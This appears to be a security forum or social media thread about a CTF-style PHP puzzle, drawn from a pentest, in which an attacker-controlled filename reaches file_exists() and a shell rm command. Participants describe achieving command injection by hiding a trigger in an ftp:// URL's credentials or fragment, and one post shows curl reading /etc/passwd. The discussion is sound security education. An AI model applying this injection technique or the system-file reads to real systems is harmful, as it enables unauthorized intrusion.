Had this on a recent engagement and thought I'd provide a cut-down version as a fun little CTF-like challenge.
As an attacker, you can invoke `pwnme()` and control the value of `$filename` via a web request.
You cannot control the contents of the file system that this code is running on. You don't have the ability to upload files.
How do you achieve command injection?
@oj It's been awhile since I've done this. So it's quite possible that I'm missing something.
file_exists merely verifies the presence of the file.
shell_exec should execute any valid PHP within the file. Enter <?php opening block, functions, anything else you want to include in the access logs, escape and close the PHP block, then arbitrarily attempt to execute the block of code using the pwnme() function to execute command injection, establish a reverse shell, or nearly anything else you like. It's admittedly a sloppy approach.
However, also, like I said, it's been awhile, so my memory might be a bit foggy.
@oj
Ahh, you're gonna make me dust it off. LOL... OK.
1. Attempt to determine OS from banners.
2. Determine valid path and most-likely binary available in target OS to establish command exec. Or host a binary matching your target OS on the attacking machine.
3. Select and execute the chosen binary with no parameters/args.
Remote Code Execution would probably be preferable, to grant you further control over the target binary.
Does this answer your question?
I was thinking something like:
% wget 'http://127.0.0.1/[insert filename here]'
...but when you said above that you weren't interested in what commands I might run, I decided not to demonstrate syntax.
In the meantime, someone else already posted similar solutions.
You've suggested "poison the access logs and execute them" despite the fact that the challenge uses a shell to `rm` the filename you give it; it doesn't execute it. You've also suggested "simply execute a system-level reverse shell" by "determining most-likely binary available in target OS to establish command exec" but you haven't shown _how_ to get command exec.
Now you're saying to wget something off of 127.0.0.1 without saying if you're doing that locally on your machine, or if you're doing it on the victim's machine - in which case you're nowhere near being able to execute arbitrary commands on their machine yet, and if you could why would you want to wget their localhost anyway?
You don't then get to say "in the meantime someone else already posted similar solutions" like you were on the right track. Sorry, but you just weren't.
The challenge was "how do you achieve command injection?" not "what would you do with command injection?"
The trick used in the solutions we know work was that file_exists() will honour a URL such as ftp:// to check the existence of a file, at which point you have various places inside a ftp:// URL to hide a command injection trigger (I originally used the username/password part, and bitquark used the fragment which I think is super clever)
Saying "nice trick" or "interesting, TIL" or "yeah gotcha that makes sense" would parse. Saying nothing at all would be appropriate. Saying "that's what I was saying all along!" which is how what you're saying sounds to me (but it might just be me) just doesn't make sense. Take the L.
@Bitquark @oj I suppose it's a URI, and so RFC 3986 would apply and so fragments are respected.
curl is the same:
% curl -s 'ftp://ftp.gnu.org/README#lol' | head -n1
This is ftp.gnu.org, the FTP server of the the GNU project.
curl even allows fragments for file://
% curl -s 'file:///etc/passwd#lol' | head -n1
root:x:0:0:root:/root:/bin/bash
but PHP doesn't allow fragments for file://
% php -r 'file_exists("file:///etc/passwd#lol") || print 0;'
0
OJ
Jeremy Saldate 
Justin Steven
Bitquark
mugu
kevinfarrow